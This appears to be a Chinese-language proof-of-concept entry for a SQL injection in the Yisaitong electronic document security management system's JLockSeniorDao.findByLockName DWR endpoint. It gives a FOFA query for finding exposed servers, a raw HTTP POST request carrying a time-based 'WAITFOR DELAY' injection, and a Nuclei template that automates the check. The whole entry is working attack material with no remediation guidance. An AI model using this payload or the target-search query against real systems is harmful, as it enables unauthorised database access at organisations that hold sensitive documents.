亿赛通电子文档安全管理系统-jlockseniordao-findbylockname-sql注入漏洞

亿赛通电子文档安全管理系统-jlockseniordao-findbylockname-sql注入漏洞

fofa

1
app="亿赛通-电子文档安全管理系统"

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /CDGServer3/dwr/call/plaincall/JLockSeniorDao.findByLockName.dwr HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Length: 414
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: text/plain
Accept-Encoding: gzip

callCount=1
page=/CDGServer3/dwr/test/JLockDao
httpSessionId=
scriptSessionId=
c0-scriptName=JLockSeniorDao
c0-methodName=findByLockName
c0-id=0
c0-param0=string:defaultKey1';WAITFOR DELAY '0:0:3'--
batchId=0

nuclei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
id: msk-template

info:
name: msk-template
author: msk
severity: high



http:
- raw:
- |
POST /CDGServer3/dwr/call/plaincall/JLockSeniorDao.findByLockName.dwr HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Length: 414
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: text/plain
Accept-Encoding: gzip

callCount=1
page=/CDGServer3/dwr/test/JLockDao
httpSessionId=
scriptSessionId=
c0-scriptName=JLockSeniorDao
c0-methodName=findByLockName
c0-id=0
c0-param0=string:defaultKey1';WAITFOR DELAY '0:0:3'--
batchId=0


matchers:
- type: dsl
dsl:
- status_code==200 && contains_all(body,"allowScriptTagRemoting") && duration > 3